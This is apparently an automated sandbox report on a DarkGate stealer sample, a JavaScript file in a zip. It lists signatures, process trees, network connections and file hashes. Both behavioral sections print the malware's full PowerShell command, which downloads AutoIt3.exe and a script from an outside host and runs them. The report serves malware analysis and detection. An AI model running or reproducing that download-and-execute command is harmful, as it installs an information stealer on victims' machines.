Malware Analysis Report

2024-11-30 11:22

Sample ID 231106-xefdesda81
Target 07112023_0245_060e45bf7b57d4.zip
SHA256 c49909f924e6ba5de54e3afa58c1653ef8e37fbcfee9a310941d38d17060bd4d
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c49909f924e6ba5de54e3afa58c1653ef8e37fbcfee9a310941d38d17060bd4d

Threat Level: Known bad

The file 07112023_0245_060e45bf7b57d4.zip was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-06 18:45

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-06 18:45

Reported

2023-11-06 18:48

Platform

win7-20231023-en

Max time kernel

119s

Max time network

123s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2444-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

memory/2444-5-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

memory/2444-6-0x0000000002370000-0x0000000002378000-memory.dmp

memory/2444-7-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

memory/2444-8-0x00000000026B0000-0x0000000002730000-memory.dmp

memory/2444-10-0x00000000026B0000-0x0000000002730000-memory.dmp

memory/2444-9-0x00000000026B0000-0x0000000002730000-memory.dmp

memory/2444-11-0x00000000026B0000-0x0000000002730000-memory.dmp

memory/2444-12-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-06 18:45

Reported

2023-11-06 18:48

Platform

win10v2004-20231020-en

Max time kernel

143s

Max time network

155s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" hujidbbn.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 8sjimonstersboonkonline.com udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 136.253.117.82.in-addr.arpa udp
US 8.8.8.8:53 155.245.36.23.in-addr.arpa udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 161.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 8.179.89.13.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dzydg5f5.l1i.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1612-5-0x000001F95CAC0000-0x000001F95CAE2000-memory.dmp

memory/1612-10-0x00007FF849BF0000-0x00007FF84A6B1000-memory.dmp

memory/1612-11-0x000001F95C200000-0x000001F95C210000-memory.dmp

memory/1612-12-0x000001F95C200000-0x000001F95C210000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/1612-26-0x00007FF849BF0000-0x00007FF84A6B1000-memory.dmp

C:\tepp\hujidbbn.au3

MD5 305a14601aa52a85993c77549c330e43
SHA1 aa4998fc5deaba2d7a32b188d942fded94182e2b
SHA256 8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce
SHA512 65f2201f003ba2dfa01d3a793c7f58d4ee711f02b8e849081b9325a61b7e04df5708ddf153be74ebf8a48df5ca7c70b68285925786ababb748b669ed994143ff

memory/2284-29-0x00000000014B0000-0x00000000018B0000-memory.dmp

memory/2284-30-0x00000000043F0000-0x0000000004585000-memory.dmp

memory/2284-31-0x00000000043F0000-0x0000000004585000-memory.dmp